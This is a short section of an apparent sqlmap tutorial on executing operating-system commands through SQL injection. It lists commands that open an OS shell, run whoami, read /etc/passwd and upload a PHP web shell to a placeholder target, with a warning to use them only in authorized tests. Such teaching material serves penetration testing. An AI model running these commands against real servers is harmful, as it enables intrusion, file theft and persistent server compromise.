SQLMap Section 6 of 13

OS Commands

Execute operating system commands and read/write files on vulnerable servers. Requires stacked queries or certain database privileges.

Important

OS command execution can cause serious damage. Only use in authorized penetration testing environments.

Get OS Shell

Interactive shell (requires stacked queries):

bash
1sqlmap -u 'http://target.com?id=1' --os-shell

Execute Single Command

Run a specific command:

bash
1sqlmap -u 'http://target.com?id=1' --os-cmd=whoami

Read Server Files

Download files from the target server:

bash
1sqlmap -u 'http://target.com?id=1' --file-read=/etc/passwd

Write Files to Server

Upload a file (path must be writable):

bash
1sqlmap -u 'http://target.com?id=1' --file-write=localfile.php --file-dest=/var/www/html/shell.php

Requirements

  • Stacked queries must be supported (MySQL, MSSQL, PostgreSQL)
  • Web application must have file system write permissions
  • Database user needs OS-level privileges